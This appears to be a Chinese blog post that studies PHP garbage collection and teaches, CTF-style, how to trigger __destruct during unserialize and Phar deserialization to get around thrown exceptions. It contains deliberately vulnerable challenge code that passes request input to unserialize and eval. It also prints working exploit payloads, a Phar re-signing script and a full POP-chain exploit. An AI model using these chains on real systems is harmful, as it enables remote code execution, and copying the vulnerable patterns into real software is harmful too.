PHP GC 回收机制学习
Drunkbaby Lv6

PHP GC 回收机制学习

0x01 前言

知识分享所见所得,自己重新再复习一遍加深印象。因为 quan 爷已经整理了一遍,我跟着学即可
知识分享内容地址:https://www.bilibili.com/video/BV16g411s7CH/

0x02 PHP GC 回收机制是什么

在 PHP 中,是拥有垃圾回收机制 Garbage collection 的,也就是我们常说的 GC 机制的,在 PHP 中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向时,它就会被变成垃圾,被 GC 机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的 __destruct() 方法。

  • 上面这一段话我个人认为如果零基础看,会感觉到相当抽象。所以我们先来解读一下

PHP 引用计数

当我们 PHP 创建一个变量时,这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为 is_ref,是 bool 值,它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量,由于 PHP 允许用户使用 & 来使用自定义引用,zval 变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是 refcount,它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

1
2
3
4
<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量 $a,生成了类型为 String 和值为 new string 的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以 is_ref 的值应该是 false,而 refcount 是表示变量个数的,那么这里就应该是1,接下来我们验证一下。

接下来我们添加一个引用

1
2
3
4
5
6
<?php
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路,每生成一个变量就有一个 zval 记录其类型和值以及两个额外字节,那我们这里的话 a 的 refcount 应该是 1,is_ref 应该是 true,接下来我们验证一下

哎,结果不同于我们所想的,这是为什么呢?
因为同一变量容器被变量 a 和变量 b 关联,当没必要时,php 不会去复制已生成的变量容器。
所以这一个 zval 容器存储了 a 和 b 两个变量,就使得 refcount 的值为 2

接下来说一下容器的销毁这个事。
变量容器在 refcount 变成 0 时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了 unset() 函数,refcount 就会减 1。

看个例子

1
2
3
4
5
6
7
8
<?php
$a="new string";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的 is_ref 应该是 true,refcount 为 3。
第二次输出的 is_ref 值是什么呢,我们可以看到引用 $a 的变量 $b$c 都被 unset 了,所以这里的 is_ref 应该是 false,也是因为 unset,这里的 refcount 应该从 3 变成了 1,接下来验证一下

0x03 PHP GC 回收机制攻击面

  • 原理:当 is_ref 减少时,会触发 __destuct 魔术方法,由此产生的一些 trick 类型攻击

PHP 反序列化中的 PHP GC 利用

这里的思路是,通过某些手段触发 PHP GC,这些手段都是基于 is_ref 被修改时发起的攻击。

unset 直接取消引用

  • 代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);

可以看到通过 unset() 方法主动取消引用,可以直接调用 __destruct 魔术方法。

反序列化当中取消引用

可以通过 unset() 方法直接做引用的取消,但是一般这种情况都是不可控的,更合理的方式是修改在反序列化当中的值。

这种利用方式是这样的:比如在一个 array 里面存在一个键值对,value 为某个类,当这个类为 NULL 的时候,会被认为是 is_ref 为 0,也就是 false。这就可以触发到 __destruct 方法

  • 照例还是结合代码讲,比如下面这一道题目,我需要去触发 __destruct 魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
$flag = "flag";
class B {
function __destruct() {
global $flag;
echo $flag;
}
}

$a = unserialize($_GET['payload']);

throw new Exception('输入失败');

?>

如果按照正常的反序列化思路,是没有办法去触发 __destruct 的,这里就用到了我们的 PHP GC 机制,通过把 is_ref 修改为 false,让它触发 __destruct

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array(new B,0);

echo serialize($a);

得到序列化文本如下

1
2
3
a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1int型;值为0

此处对于序列化的字符串,我们先解析看一看,a 当中放了对象 B,目前 B 是有 is_ref 的,is_ref 指向了 array,所以这里我们将 is_ref 修改为 false 即可。

如下

1
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

验证成功!

GC 在 Phar 反序列化中的利用

差不多的原理,phar 反序列化比直接的反序列化多了签名,所以需要后续用 010 来修改一些内容,直接看例子

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
highlight_file(__FILE__);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("Garbage collection");
?>

看到 file_get_contents 函数和类,就想到 Phar 反序列化,所以接下来尝试借助 file_get_contents 方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的 Phar 文件放置本地进行利用了)。

构造 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class test{
public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0);
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

注:需要去检查一下 php.ini 中的 phar.readonly 选项,如果是 On,需要修改为 Off。否则会报错,无法生成 phar 文件

  • 在生成 .phar 文件之后,用 010 打开,将里面序列化的字符串进行手动修改

可以发现i:1,按照我们之前的思路,我们这里将i:1修改成i:0就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar中的i:1修改为i:0,接下来利用脚本使得签名正确。

1
2
3
4
5
6
7
8
import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)

打开2.phar文件查看一下

变成 i:0 且文件正常,接下来利用 phar 伪协议包含这个文件

1
$filename=phar://2.phar

0x04 实战例题

Demo

这是队内的师傅分享的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class cg1{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cg2{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

这道题的思路比较简单

1、首先调用 __destrcut,然后通过 num 参数触发__tostring
2、给string参数赋值,调用cg2的flag方法
3、给cmd参数赋值,实现RCE

但我们会发现这里首先要用到的就是__destruct,而代码末尾带有throw new Exception("Garbage collection");,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
}
class cg1{
public $string;
}
class cg2{
public $cmd;
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

得到

1
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

i:1修改为i:0

1
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

CTFShow 卷王杯 easy unserialize

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");

class one {
public $object;

public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
protected $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}

简单梳理一下思路,触发MeMeMe方法为最终目标,以_destruct为起点,绕过抛出异常的方式同之前即可
接下来看一下它的大致流程
首先触发_destruct,那这里的add()无疑是让我们触发_call魔法方法,因此接下来到_call这里,发现这里拼接了Me,那它肯定就指向了addMe()这个方法,接下来看到$this->filename,想到触发_toString魔术方法,接下来根进_toString方法,发现object->string,那么这个的话就是触发_get方法了,因此接着看get()魔术方法,这个时候就有一个问题,怎么通过$var[$name]();来进入one类的MeMeMe方法,我们这里可以控制$var的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var赋值为[new one(),MeMeMe]即可,此时还有一个问题,就是这个MeMeMe中的function($fn, $prev)如何理解,接下来我们本地测试一下

发现这个$fn是变量值,而$prev则是变量名,因此这里我们新增一个变量名为year_parm,且其值为Happy_func即可绕过if语句,接下来就可以去写Exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");

class one {
public $year_parm=array("Happy_func");
public $object;

public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
public $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

得到payload

0x05 小结

实战很重要。

 评论